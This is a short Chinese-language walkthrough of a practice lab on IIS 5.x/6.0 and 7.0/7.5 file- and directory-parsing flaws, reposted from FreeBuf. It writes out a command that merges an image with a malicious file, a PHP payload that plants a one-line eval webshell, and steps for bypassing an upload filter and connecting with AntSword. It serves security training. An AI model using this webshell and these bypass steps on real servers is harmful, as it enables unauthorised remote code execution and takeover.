内部文件上传系统漏洞分析溯源（IIS漏洞解析） – 作者:可乐kele

1.此靶场主要是介绍了IIS 5.X/6.0版本的目录解析漏洞，但IIS除了目录解析漏洞，还有文件解析漏洞。并且在IIS 7.0与IIS 7.5还发现了畸形解析漏洞

2.关于IIS 7.0与IIS 7.5的漏洞利用：首先是需要在Fast-CGI运行模式下,在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。因此为我们将一张图片与写有恶意代码的文件合并后，如：

copy 111.jpg/b+222.asp/a 333.jpg

在恶意文件中写入：

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

此意为：写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件。上传以后在地址后加上 /xx.php 即可执行恶意文本。

然后就在图片目录下生成一句话木马 shell.php 密码 cmd

3.关于IIS 7.0与IIS 7.5的漏洞利用条件

（1）勾选CGI，将php.ini修改cgi.fix_pathinfo的值为1

（2）安装完成后，在处理程序映射中，选择如下参数

但在请求限制内不要勾选

4.关于IIS 5.X/6.0文件解析漏洞，需要IIS6.0服务器开启Active Server Pages服务拓展，可利用的文件后缀：.asp.cer.asa.cdx（IIS6.0）。新建一个文件admin.asp;.jpg，在上传至服务器时，即可被当作admin.asp文件解析

5.关于此靶场IIS目录解析漏洞，首先目录解析漏洞的后缀名可以是.asa与.asp的文件夹

在此靶场上传后缀.asp的文件发现被阻拦，报错页面显示是IIS

6.上传一个可.jpg后缀的文件，发现上传路径为upload

7.采用抓包的方式，将路径文件夹修改为.asp后缀的，并在txt文件内写入asp一句话木马

8.上传成功后，采用蚁剑进行连接，在html目录找到key即可

来源：freebuf.com 2021-04-27 16:18:40 by: 可乐kele